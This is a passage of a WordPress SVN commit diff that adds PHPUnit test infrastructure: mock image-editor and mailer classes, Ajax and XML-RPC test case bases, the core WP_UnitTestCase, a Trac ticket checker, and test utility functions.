+       populate_network( 1, WP_TESTS_DOMAIN, WP_TESTS_EMAIL, $title, '/', $subdomain_install );
+}
+
+file_put_contents( WP_TESTS_VERSION_FILE, $hash );
</ins></span></pre></div>
<a id="trunktestsincludesmockimageeditorphp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/mock-image-editor.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/mock-image-editor.php                               (rev 0)
+++ trunk/tests/includes/mock-image-editor.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,43 @@
</span><ins>+<?php
+
+if (class_exists( 'WP_Image_Editor' ) ) :
+
+       class WP_Image_Editor_Mock extends WP_Image_Editor {
+
+               public static $load_return = true;
+               public static $test_return = true;
+               public static $save_return = array();
+
+               public function load() {
+                       return self::$load_return;
+               }
+               public static function test() {
+                       return self::$test_return;
+               }
+               public static function supports_mime_type( $mime_type ) {
+                       return true;
+               }
+               public function resize( $max_w, $max_h, $crop = false ) {
+
+               }
+               public function multi_resize( $sizes ) {
+
+               }
+               public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
+
+               }
+               public function rotate( $angle ) {
+
+               }
+               public function flip( $horz, $vert ) {
+
+               }
+               public function save( $destfilename = null, $mime_type = null ) {
+                       return self::$save_return;
+               }
+               public function stream( $mime_type = null ) {
+
+               }
+       }
+
+endif;
</ins></span></pre></div>
<a id="trunktestsincludesmockmailerphp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/mock-mailer.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/mock-mailer.php                             (rev 0)
+++ trunk/tests/includes/mock-mailer.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,26 @@
</span><ins>+<?php
+require_once( ABSPATH . '/wp-includes/class-phpmailer.php' );
+
+class MockPHPMailer extends PHPMailer {
+       var $mock_sent = array();
+
+       // override the Send function so it doesn't actually send anything
+       function Send() {
+               try {
+                       if ( ! $this->PreSend() )
+                               return false;
+
+                       $this->mock_sent[] = array(
+                               'to'     => $this->to,
+                               'cc'     => $this->cc,
+                               'bcc'    => $this->bcc,
+                               'header' => $this->MIMEHeader,
+                               'body'   => $this->MIMEBody,
+                       );
+
+                       return true;
+               } catch ( phpmailerException $e ) {
+                       return false;
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunktestsincludestestcaseajaxphp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/testcase-ajax.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/testcase-ajax.php                           (rev 0)
+++ trunk/tests/includes/testcase-ajax.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,182 @@
</span><ins>+<?php
+/**
+ * Ajax test cases
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ */
+
+/**
+ * Ajax test case class
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ */
+abstract class WP_Ajax_UnitTestCase extends WP_UnitTestCase {
+
+       /**
+        * Last AJAX response.  This is set via echo -or- wp_die.
+        * @var type
+        */
+       protected $_last_response = '';
+
+       /**
+        * List of ajax actions called via POST
+        * @var type
+        */
+       protected $_core_actions_get = array( 'fetch-list', 'ajax-tag-search', 'wp-compression-test', 'imgedit-preview', 'oembed_cache' );
+
+       /**
+        * Saved error reporting level
+        * @var int
+        */
+       protected $_error_level = 0;
+
+       /**
+        * List of ajax actions called via GET
+        * @var type
+        */
+       protected $_core_actions_post = array(
+               'oembed_cache', 'image-editor', 'delete-comment', 'delete-tag', 'delete-link',
+               'delete-meta', 'delete-post', 'trash-post', 'untrash-post', 'delete-page', 'dim-comment',
+               'add-link-category', 'add-tag', 'get-tagcloud', 'get-comments', 'replyto-comment',
+               'edit-comment', 'add-menu-item', 'add-meta', 'add-user', 'autosave', 'closed-postboxes',
+               'hidden-columns', 'update-welcome-panel', 'menu-get-metabox', 'wp-link-ajax',
+               'menu-locations-save', 'menu-quick-search', 'meta-box-order', 'get-permalink',
+               'sample-permalink', 'inline-save', 'inline-save-tax', 'find_posts', 'widgets-order',
+               'save-widget', 'set-post-thumbnail', 'date_format', 'time_format', 'wp-fullscreen-save-post',
+               'wp-remove-post-lock', 'dismiss-wp-pointer', 'nopriv_autosave'
+       );
+
+       /**
+        * Set up the test fixture.
+        * Override wp_die(), pretend to be ajax, and suppres E_WARNINGs
+        */
+       public function setUp() {
+               parent::setUp();
+
+               // Register the core actions
+               foreach ( array_merge( $this->_core_actions_get, $this->_core_actions_post ) as $action )
+                       if ( function_exists( 'wp_ajax_' . str_replace( '-', '_', $action ) ) )
+                               add_action( 'wp_ajax_' . $action, 'wp_ajax_' . str_replace( '-', '_', $action ), 1 );
+
+               add_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+               if ( !defined( 'DOING_AJAX' ) )
+                       define( 'DOING_AJAX', true );
+               set_current_screen( 'ajax' );
+
+               // Clear logout cookies
+               add_action( 'clear_auth_cookie', array( $this, 'logout' ) );
+
+               // Suppress warnings from "Cannot modify header information - headers already sent by"
+               $this->_error_level = error_reporting();
+               error_reporting( $this->_error_level & ~E_WARNING );
+
+               // Make some posts
+               $this->factory->post->create_many( 5 );
+       }
+
+       /**
+        * Tear down the test fixture.
+        * Reset $_POST, remove the wp_die() override, restore error reporting
+        */
+       public function tearDown() {
+               parent::tearDown();
+               $_POST = array();
+               $_GET = array();
+               unset( $GLOBALS['post'] );
+               unset( $GLOBALS['comment'] );
+               remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+               remove_action( 'clear_auth_cookie', array( $this, 'logout' ) );
+               error_reporting( $this->_error_level );
+               set_current_screen( 'front' );
+       }
+
+       /**
+        * Clear login cookies, unset the current user
+        */
+       public function logout() {
+               unset( $GLOBALS['current_user'] );
+               $cookies = array(AUTH_COOKIE, SECURE_AUTH_COOKIE, LOGGED_IN_COOKIE, USER_COOKIE, PASS_COOKIE);
+               foreach ( $cookies as $c )
+                       unset( $_COOKIE[$c] );
+       }
+
+       /**
+        * Return our callback handler
+        * @return callback
+        */
+       public function getDieHandler() {
+               return array( $this, 'dieHandler' );
+       }
+
+       /**
+        * Handler for wp_die()
+        * Save the output for analysis, stop execution by throwing an exception.
+        * Error conditions (no output, just die) will throw <code>WPAjaxDieStopException( $message )</code>
+        * You can test for this with:
+        * <code>
+        * $this->setExpectedException( 'WPAjaxDieStopException', 'something contained in $message' );
+        * </code>
+        * Normal program termination (wp_die called at then end of output) will throw <code>WPAjaxDieContinueException( $message )</code>
+        * You can test for this with:
+        * <code>
+        * $this->setExpectedException( 'WPAjaxDieContinueException', 'something contained in $message' );
+        * </code>
+        * @param string $message
+        */
+       public function dieHandler( $message ) {
+               $this->_last_response .= ob_get_clean();
+               ob_end_clean();
+               if ( '' === $this->_last_response ) {
+                       if ( is_scalar( $message) ) {
+                               throw new WPAjaxDieStopException( (string) $message );
+                       } else {
+                               throw new WPAjaxDieStopException( '0' );
+                       }
+               } else {
+                       throw new WPAjaxDieContinueException( $message );
+               }
+       }
+
+       /**
+        * Switch between user roles
+        * E.g. administrator, editor, author, contributor, subscriber
+        * @param string $role
+        */
+       protected function _setRole( $role ) {
+               $post = $_POST;
+               $user_id = $this->factory->user->create( array( 'role' => $role ) );
+               wp_set_current_user( $user_id );
+               $_POST = array_merge($_POST, $post);
+       }
+
+       /**
+        * Mimic the ajax handling of admin-ajax.php
+        * Capture the output via output buffering, and if there is any, store
+        * it in $this->_last_message.
+        * @param string $action
+        */
+       protected function _handleAjax($action) {
+
+               // Start output buffering
+               ini_set( 'implicit_flush', false );
+               ob_start();
+
+               // Build the request
+               $_POST['action'] = $action;
+               $_GET['action']  = $action;
+               $_REQUEST        = array_merge( $_POST, $_GET );
+
+               // Call the hooks
+               do_action( 'admin_init' );
+               do_action( 'wp_ajax_' . $_REQUEST['action'], null );
+
+               // Save the output
+               $buffer = ob_get_clean();
+               if ( !empty( $buffer ) )
+                       $this->_last_response = $buffer;
+       }
+}
</ins></span></pre></div>
<a id="trunktestsincludestestcasexmlrpcphp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/testcase-xmlrpc.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/testcase-xmlrpc.php                         (rev 0)
+++ trunk/tests/includes/testcase-xmlrpc.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,30 @@
</span><ins>+<?php
+include_once(ABSPATH . 'wp-admin/includes/admin.php');
+include_once(ABSPATH . WPINC . '/class-IXR.php');
+include_once(ABSPATH . WPINC . '/class-wp-xmlrpc-server.php');
+
+class WP_XMLRPC_UnitTestCase extends WP_UnitTestCase {
+       protected $myxmlrpcserver;
+
+       function setUp() {
+               parent::setUp();
+
+               add_filter( 'pre_option_enable_xmlrpc', '__return_true' );
+
+               $this->myxmlrpcserver = new wp_xmlrpc_server();
+       }
+
+       function tearDown() {
+               remove_filter( 'pre_option_enable_xmlrpc', '__return_true' );
+
+               parent::tearDown();
+       }
+
+       protected function make_user_by_role( $role ) {
+               return $this->factory->user->create( array(
+                       'user_login' => $role,
+                       'user_pass'  => $role,
+                       'role'       => $role
+               ));
+       }
+}
</ins></span></pre></div>
<a id="trunktestsincludestestcasephp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/testcase.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/testcase.php                                (rev 0)
+++ trunk/tests/includes/testcase.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,227 @@
</span><ins>+<?php
+
+require_once dirname( __FILE__ ) . '/factory.php';
+require_once dirname( __FILE__ ) . '/trac.php';
+
+class WP_UnitTestCase extends PHPUnit_Framework_TestCase {
+
+       protected static $forced_tickets = array();
+
+       /**
+        * @var WP_UnitTest_Factory
+        */
+       protected $factory;
+
+       function setUp() {
+               set_time_limit(0);
+
+               global $wpdb;
+               $wpdb->suppress_errors = false;
+               $wpdb->show_errors = true;
+               $wpdb->db_connect();
+               ini_set('display_errors', 1 );
+               $this->factory = new WP_UnitTest_Factory;
+               $this->clean_up_global_scope();
+               $this->start_transaction();
+               add_filter( 'wp_die_handler', array( $this, 'get_wp_die_handler' ) );
+       }
+
+       function tearDown() {
+               global $wpdb;
+               $wpdb->query( 'ROLLBACK' );
+               remove_filter( 'dbdelta_create_queries', array( $this, '_create_temporary_tables' ) );
+               remove_filter( 'query', array( $this, '_drop_temporary_tables' ) );
+               remove_filter( 'wp_die_handler', array( $this, 'get_wp_die_handler' ) );
+       }
+
+       function clean_up_global_scope() {
+               $_GET = array();
+               $_POST = array();
+               $this->flush_cache();
+       }
+
+       function flush_cache() {
+               global $wp_object_cache;
+               $wp_object_cache->group_ops = array();
+               $wp_object_cache->stats = array();
+               $wp_object_cache->memcache_debug = array();
+               $wp_object_cache->cache = array();
+               if ( method_exists( $wp_object_cache, '__remoteset' ) ) {
+                       $wp_object_cache->__remoteset();
+               }
+               wp_cache_flush();
+               wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'site-transient', 'site-options', 'site-lookup', 'blog-lookup', 'blog-details', 'rss', 'global-posts', 'blog-id-cache' ) );
+               wp_cache_add_non_persistent_groups( array( 'comment', 'counts', 'plugins' ) );
+       }
+
+       function start_transaction() {
+               global $wpdb;
+               $wpdb->query( 'SET autocommit = 0;' );
+               $wpdb->query( 'START TRANSACTION;' );
+               add_filter( 'dbdelta_create_queries', array( $this, '_create_temporary_tables' ) );
+               add_filter( 'query', array( $this, '_drop_temporary_tables' ) );
+       }
+
+       function _create_temporary_tables( $queries ) {
+               return str_replace( 'CREATE TABLE', 'CREATE TEMPORARY TABLE', $queries );
+       }
+
+       function _drop_temporary_tables( $query ) {
+               if ( 'DROP TABLE' === substr( $query, 0, 10 ) )
+                       return 'DROP TEMPORARY TABLE ' . substr( $query, 10 );
+               return $query;
+       }
+
+       function get_wp_die_handler( $handler ) {
+               return array( $this, 'wp_die_handler' );
+       }
+
+       function wp_die_handler( $message ) {
+               throw new WPDieException( $message );
+       }
+
+       function assertWPError( $actual, $message = '' ) {
+               $this->assertInstanceOf( 'WP_Error', $actual, $message );
+       }
+
+       function assertEqualFields( $object, $fields ) {
+               foreach( $fields as $field_name => $field_value ) {
+                       if ( $object->$field_name != $field_value ) {
+                               $this->fail();
+                       }
+               }
+       }
+
+       function assertDiscardWhitespace( $expected, $actual ) {
+               $this->assertEquals( preg_replace( '/\s*/', '', $expected ), preg_replace( '/\s*/', '', $actual ) );
+       }
+
+       function assertEqualSets( $expected, $actual ) {
+               $this->assertEquals( array(), array_diff( $expected, $actual ) );
+               $this->assertEquals( array(), array_diff( $actual, $expected ) );
+       }
+
+       function go_to( $url ) {
+               // note: the WP and WP_Query classes like to silently fetch parameters
+               // from all over the place (globals, GET, etc), which makes it tricky
+               // to run them more than once without very carefully clearing everything
+               $_GET = $_POST = array();
+               foreach (array('query_string', 'id', 'postdata', 'authordata', 'day', 'currentmonth', 'page', 'pages', 'multipage', 'more', 'numpages', 'pagenow') as $v) {
+                       if ( isset( $GLOBALS[$v] ) ) unset( $GLOBALS[$v] );
+               }
+               $parts = parse_url($url);
+               if (isset($parts['scheme'])) {
+                       $req = $parts['path'];
+                       if (isset($parts['query'])) {
+                               $req .= '?' . $parts['query'];
+                               // parse the url query vars into $_GET
+                               parse_str($parts['query'], $_GET);
+                       }
+               } else {
+                       $req = $url;
+               }
+               if ( ! isset( $parts['query'] ) ) {
+                       $parts['query'] = '';
+               }
+
+               $_SERVER['REQUEST_URI'] = $req;
+               unset($_SERVER['PATH_INFO']);
+
+               $this->flush_cache();
+               unset($GLOBALS['wp_query'], $GLOBALS['wp_the_query']);
+               $GLOBALS['wp_the_query'] =& new WP_Query();
+               $GLOBALS['wp_query'] =& $GLOBALS['wp_the_query'];
+               $GLOBALS['wp'] =& new WP();
+
+               // clean out globals to stop them polluting wp and wp_query
+               foreach ($GLOBALS['wp']->public_query_vars as $v) {
+                       unset($GLOBALS[$v]);
+               }
+               foreach ($GLOBALS['wp']->private_query_vars as $v) {
+                       unset($GLOBALS[$v]);
+               }
+
+               $GLOBALS['wp']->main($parts['query']);
+       }
+
+       protected function checkRequirements() {
+               parent::checkRequirements();
+               if ( WP_TESTS_FORCE_KNOWN_BUGS )
+                       return;
+               $tickets = PHPUnit_Util_Test::getTickets( get_class( $this ), $this->getName( false ) );
+               foreach ( $tickets as $ticket ) {
+                       if ( is_numeric( $ticket ) ) {
+                               $this->knownWPBug( $ticket );
+                       } elseif ( 'UT' == substr( $ticket, 0, 2 ) ) {
+                               $ticket = substr( $ticket, 2 );
+                               if ( $ticket && is_numeric( $ticket ) )
+                                       $this->knownUTBug( $ticket );
+                       } elseif ( 'Plugin' == substr( $ticket, 0, 6 ) ) {
+                               $ticket = substr( $ticket, 6 );
+                               if ( $ticket && is_numeric( $ticket ) )
+                                       $this->knownPluginBug( $ticket );
+                       }
+               }
+       }
+
+       /**
+        * Skips the current test if there is an open WordPress ticket with id $ticket_id
+        */
+       function knownWPBug( $ticket_id ) {
+               if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( $ticket_id, self::$forced_tickets ) )
+                       return;
+               if ( ! TracTickets::isTracTicketClosed( 'http://core.trac.wordpress.org', $ticket_id ) )
+                       $this->markTestSkipped( sprintf( 'WordPress Ticket #%d is not fixed', $ticket_id ) );
+       }
+
+       /**
+        * Skips the current test if there is an open unit tests ticket with id $ticket_id
+        */
+       function knownUTBug( $ticket_id ) {
+               if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( 'UT' . $ticket_id, self::$forced_tickets ) )
+                       return;
+               if ( ! TracTickets::isTracTicketClosed( 'http://unit-tests.trac.wordpress.org', $ticket_id ) )
+                       $this->markTestSkipped( sprintf( 'Unit Tests Ticket #%d is not fixed', $ticket_id ) );
+       }
+
+       /**
+        * Skips the current test if there is an open plugin ticket with id $ticket_id
+        */
+       function knownPluginBug( $ticket_id ) {
+               if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( 'Plugin' . $ticket_id, self::$forced_tickets ) )
+                       return;
+               if ( ! TracTickets::isTracTicketClosed( 'http://plugins.trac.wordpress.org', $ticket_id ) )
+                       $this->markTestSkipped( sprintf( 'WordPress Plugin Ticket #%d is not fixed', $ticket_id ) );
+       }
+
+       public static function forceTicket( $ticket ) {
+               self::$forced_tickets[] = $ticket;
+       }
+
+       /**
+        * Define constants after including files.
+        */
+       function prepareTemplate( $template ) {
+               $template->setVar( array( 'constants' => '' ) );
+               $template->setVar( array( 'wp_constants' => PHPUnit_Util_GlobalState::getConstantsAsString() ) );
+               parent::prepareTemplate( $template );
+       }
+
+       /**
+        * Returns the name of a temporary file
+        */
+       function temp_filename() {
+               $tmp_dir = '';
+               $dirs = array( 'TMP', 'TMPDIR', 'TEMP' );
+               foreach( $dirs as $dir )
+                       if ( isset( $_ENV[$dir] ) && !empty( $_ENV[$dir] ) ) {
+                               $tmp_dir = $dir;
+                               break;
+                       }
+               if ( empty( $tmp_dir ) ) {
+                       $tmp_dir = '/tmp';
+               }
+               $tmp_dir = realpath( $dir );
+               return tempnam( $tmp_dir, 'wpunit' );
+       }
+}
</ins></span></pre></div>
<a id="trunktestsincludestracphp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/trac.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/trac.php                            (rev 0)
+++ trunk/tests/includes/trac.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,54 @@
</span><ins>+<?php
+
+class TracTickets {
+       /**
+        * When open tickets for a Trac install is requested, the results are stored here.
+        *
+        * @var array
+        */
+       protected static $trac_ticket_cache = array();
+
+       /**
+        * Checks if track ticket #$ticket_id is resolved
+        *
+        * @return bool|null true if the ticket is resolved, false if not resolved, null on error
+        */
+       public static function isTracTicketClosed( $trac_url, $ticket_id ) {
+               if ( ! isset( self::$trac_ticket_cache[ $trac_url ] ) ) {
+                       // In case you're running the tests offline, keep track of open tickets.
+                       $file = DIR_TESTDATA . '/.trac-ticket-cache.' . str_replace( array( 'http://', 'https://', '/' ), array( '', '', '-' ), rtrim( $trac_url, '/' ) );
+                       $tickets = @file_get_contents( $trac_url . '/query?status=%21closed&format=csv&col=id' );
+                       // Check if our HTTP request failed.
+                       if ( false === $tickets ) {
+                               if ( file_exists( $file ) ) {
+                                       register_shutdown_function( array( 'TracTickets', 'usingLocalCache' ) );
+                                       $tickets = file_get_contents( $file );
+                               } else {
+                                       register_shutdown_function( array( 'TracTickets', 'forcingKnownBugs' ) );
+                                       self::$trac_ticket_cache[ $trac_url ] = array();
+                                       return true; // Assume the ticket is closed, which means it gets run.
+                               }
+                       } else {
+                               $tickets = substr( $tickets, 2 ); // remove 'id' column header
+                               $tickets = trim( $tickets );
+                               file_put_contents( $file, $tickets );
+                       }
+                       $tickets = explode( "\r\n", $tickets );
+                       self::$trac_ticket_cache[ $trac_url ] = $tickets;
+               }
+
+               return ! in_array( $ticket_id, self::$trac_ticket_cache[ $trac_url ] );
+       }
+
+       public static function usingLocalCache() {
+               echo PHP_EOL . "\x1b[0m\x1b[30;43m\x1b[2K";
+               echo 'INFO: Trac was inaccessible, so a local ticket status cache was used.' . PHP_EOL;
+               echo "\x1b[0m\x1b[2K";
+       }
+
+       public static function forcingKnownBugs() {
+               echo PHP_EOL . "\x1b[0m\x1b[37;41m\x1b[2K";
+               echo "ERROR: Trac was inaccessible, so known bugs weren't able to be skipped." . PHP_EOL;
+               echo "\x1b[0m\x1b[2K";
+       }
+}
</ins></span></pre></div>
<a id="trunktestsincludesutilsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/includes/utils.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/utils.php                           (rev 0)
+++ trunk/tests/includes/utils.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,365 @@
</span><ins>+<?php
+
+// misc help functions and utilities
+
+function rand_str($len=32) {
+       return substr(md5(uniqid(rand())), 0, $len);
+}
+
+// strip leading and trailing whitespace from each line in the string
+function strip_ws($txt) {
+       $lines = explode("\n", $txt);
+       $result = array();
+       foreach ($lines as $line)
+               if (trim($line))
+                       $result[] = trim($line);
+
+       return trim(join("\n", $result));
+}
+
+// helper class for testing code that involves actions and filters
+// typical use:
+// $ma = new MockAction();
+// add_action('foo', array(&$ma, 'action'));
+class MockAction {
+       var $events;
+       var $debug;
+
+       function MockAction($debug=0) {
+               $this->reset();
+               $this->debug = $debug;
+       }
+
+       function reset() {
+               $this->events = array();
+       }
+
+       function current_filter() {
+               if (is_callable('current_filter'))
+                       return current_filter();
+               global $wp_actions;
+               return end($wp_actions);
+       }
+
+       function action($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+               $args = func_get_args();
+               $this->events[] = array('action' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+               return $arg;
+       }
+
+       function action2($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+               $args = func_get_args();
+               $this->events[] = array('action' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+               return $arg;
+       }
+
+       function filter($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+               $args = func_get_args();
+               $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+               return $arg;
+       }
+
+       function filter2($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+               $args = func_get_args();
+               $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+               return $arg;
+       }
+
+       function filter_append($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+               $args = func_get_args();
+               $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+               return $arg . '_append';
+       }
+
+       function filterall($tag, $arg=NULL) {
+       // this one doesn't return the result, so it's safe to use with the new 'all' filter
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+               $args = func_get_args();
+               $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$tag, 'args'=>array_slice($args, 1));
+       }
+
+       // return a list of all the actions, tags and args
+       function get_events() {
+               return $this->events;
+       }
+
+       // return a count of the number of times the action was called since the last reset
+       function get_call_count($tag='') {
+               if ($tag) {
+                       $count = 0;
+                       foreach ($this->events as $e)
+                               if ($e['action'] == $tag)
+                                       ++$count;
+                       return $count;
+               }
+               return count($this->events);
+       }
+
+       // return an array of the tags that triggered calls to this action
+       function get_tags() {
+               $out = array();
+               foreach ($this->events as $e) {
+                       $out[] = $e['tag'];
+               }
+               return $out;
+       }
+
+       // return an array of args passed in calls to this action
+       function get_args() {
+               $out = array();
+               foreach ($this->events as $e)
+                       $out[] = $e['args'];
+               return $out;
+       }
+}
+
+// convert valid xml to an array tree structure
+// kinda lame but it works with a default php 4 install
+class testXMLParser {
+       var $xml;
+       var $data = array();
+
+       function testXMLParser($in) {
+               $this->xml = xml_parser_create();
+               xml_set_object($this->xml, $this);
+               xml_parser_set_option($this->xml,XML_OPTION_CASE_FOLDING, 0);
+               xml_set_element_handler($this->xml, array(&$this, 'startHandler'), array(&$this, 'endHandler'));
+               xml_set_character_data_handler($this->xml, array(&$this, 'dataHandler'));
+               $this->parse($in);
+       }
+
+       function parse($in) {
+               $parse = xml_parse($this->xml, $in, sizeof($in));
+               if (!$parse) {
+                       trigger_error(sprintf("XML error: %s at line %d",
+                       xml_error_string(xml_get_error_code($this->xml)),
+                       xml_get_current_line_number($this->xml)), E_USER_ERROR);
+                       xml_parser_free($this->xml);
+               }
+               return true;
+       }
+
+       function startHandler($parser, $name, $attributes) {
+               $data['name'] = $name;
+               if ($attributes) { $data['attributes'] = $attributes; }
+               $this->data[] = $data;
+       }
+
+       function dataHandler($parser, $data) {
+               $index = count($this->data) - 1;
+               @$this->data[$index]['content'] .= $data;
+       }
+
+       function endHandler($parser, $name) {
+               if (count($this->data) > 1) {
+                       $data = array_pop($this->data);
+                       $index = count($this->data) - 1;
+                       $this->data[$index]['child'][] = $data;
+               }
+       }
+}
+
+function xml_to_array($in) {
+       $p = new testXMLParser($in);
+       return $p->data;
+}
+
+function xml_find($tree /*, $el1, $el2, $el3, .. */) {
+       $a = func_get_args();
+       $a = array_slice($a, 1);
+       $n = count($a);
+       $out = array();
+
+       if ($n < 1)
+               return $out;
+
+       for ($i=0; $i<count($tree); $i++) {
+#              echo "checking '{$tree[$i][name]}' == '{$a[0]}'\n";
+#              var_dump($tree[$i]['name'], $a[0]);
+               if ($tree[$i]['name'] == $a[0]) {
+#                      echo "n == {$n}\n";
+                       if ($n == 1)
+                               $out[] = $tree[$i];
+                       else {
+                               $subtree =& $tree[$i]['child'];
+                               $call_args = array($subtree);
+                               $call_args = array_merge($call_args, array_slice($a, 1));
+                               $out = array_merge($out, call_user_func_array('xml_find', $call_args));
+                       }
+               }
+       }
+
+       return $out;
+}
+
+function xml_join_atts($atts) {
+       $a = array();
+       foreach ($atts as $k=>$v)
+               $a[] = $k.'="'.$v.'"';
+       return join(' ', $a);
+}
+
+function xml_array_dumbdown(&$data) {
+       $out = array();
+
+       foreach (array_keys($data) as $i) {
+               $name = $data[$i]['name'];
+               if (!empty($data[$i]['attributes']))
+                       $name .= ' '.xml_join_atts($data[$i]['attributes']);
+
+               if (!empty($data[$i]['child'])) {
+                       $out[$name][] = xml_array_dumbdown($data[$i]['child']);
+               }
+               else
+                       $out[$name] = $data[$i]['content'];
+       }
+
+       return $out;
+}
+
+function dmp() {
+       $args = func_get_args();
+
+       foreach ($args as $thing)
+               echo (is_scalar($thing) ? strval($thing) : var_export($thing, true)), "\n";
+}
+
+function dmp_filter($a) {
+       dmp($a);
+       return $a;
+}
+
+function get_echo($callable, $args = array()) {
+       ob_start();
+       call_user_func_array($callable, $args);
+       return ob_get_clean();
+}
+
+// recursively generate some quick assertEquals tests based on an array
+function gen_tests_array($name, $array) {
+       $out = array();
+       foreach ($array as $k=>$v) {
+               if (is_numeric($k))
+                       $index = strval($k);
+               else
+                       $index = "'".addcslashes($k, "\n\r\t'\\")."'";
+
+               if (is_string($v)) {
+                       $out[] = '$this->assertEquals( \'' . addcslashes($v, "\n\r\t'\\") . '\', $'.$name.'['.$index.'] );';
+               }
+               elseif (is_numeric($v)) {
+                       $out[] = '$this->assertEquals( ' . $v . ', $'.$name.'['.$index.'] );';
+               }
+               elseif (is_array($v)) {
+                       $out[] = gen_tests_array("{$name}[{$index}]", $v);
+               }
+       }
+       return join("\n", $out)."\n";
+}
+
+/**
+ * Use to create objects by yourself
+ */
+class MockClass {};
+
+/**
+ * Drops all tables from the WordPress database
+ */
+function drop_tables() {
+       global $wpdb;
+       $tables = $wpdb->get_col('SHOW TABLES;');
+       foreach ($tables as $table)
+               $wpdb->query("DROP TABLE IF EXISTS {$table}");
+}
+
+function print_backtrace() {
+       $bt = debug_backtrace();
+       echo "Backtrace:\n";
+       $i = 0;
+       foreach ($bt as $stack) {
+               echo ++$i, ": ";
+               if ( isset($stack['class']) )
+                       echo $stack['class'].'::';
+               if ( isset($stack['function']) )
+                       echo $stack['function'].'() ';
+               echo "line {$stack[line]} in {$stack[file]}\n";
+       }
+       echo "\n";
+}
+
+// mask out any input fields matching the given name
+function mask_input_value($in, $name='_wpnonce') {
+       return preg_replace('@<input([^>]*) name="'.preg_quote($name).'"([^>]*) value="[^>]*" />@', '<input$1 name="'.preg_quote($name).'"$2 value="***" />', $in);
+}
+
+$GLOBALS['_wp_die_disabled'] = false;
+function _wp_die_handler( $message, $title = '', $args = array() ) {
+       if ( !$GLOBALS['_wp_die_disabled'] ) {
+               _default_wp_die_handler( $message, $title, $args );
+       } else {
+               //Ignore at our peril
+       }
+}
+
+function _disable_wp_die() {
+       $GLOBALS['_wp_die_disabled'] = true;
+}
+
+function _enable_wp_die() {
+       $GLOBALS['_wp_die_disabled'] = false;
+}
+
+function _wp_die_handler_filter() {
+       return '_wp_die_handler';
+}
+
+if ( !function_exists( 'str_getcsv' ) ) {
+       function str_getcsv( $input, $delimiter = ',', $enclosure = '"', $escape = "\\" ) {
+               $fp = fopen( 'php://temp/', 'r+' );
+               fputs( $fp, $input );
+               rewind( $fp );
+               $data = fgetcsv( $fp, strlen( $input ), $delimiter, $enclosure );
+               fclose( $fp );
+               return $data;
+       }
+}
+
+function _rmdir( $path ) {
+       if ( in_array(basename( $path ), array( '.', '..' ) ) ) {
+               return;
+       } elseif ( is_file( $path ) ) {
+               unlink( $path );
+       } elseif ( is_dir( $path ) ) {
+               foreach ( scandir( $path ) as $file )
+                       _rmdir( $path . '/' . $file );
+               rmdir( $path );
+       }
+}
+
+/**
+ * Removes the post type and its taxonomy associations.
+ */
+function _unregister_post_type( $cpt_name ) {
+       unset( $GLOBALS['wp_post_types'][ $cpt_name ] );
+       unset( $GLOBALS['_wp_post_type_features'][ $cpt_name ] );
+
+       foreach ( $GLOBALS['wp_taxonomies'] as $taxonomy ) {
+               if ( false !== $key = array_search( $cpt_name, $taxonomy->object_type ) ) {
+                       unset( $taxonomy->object_type[$key] );
+               }
+       }
+}
+
+function _unregister_taxonomy( $taxonomy_name ) {
+       unset( $GLOBALS['wp_taxonomies'][$taxonomy_name] );
+}
</ins></span></pre></div>
<a id="trunktestsincludeswpprofilerphp"></a>
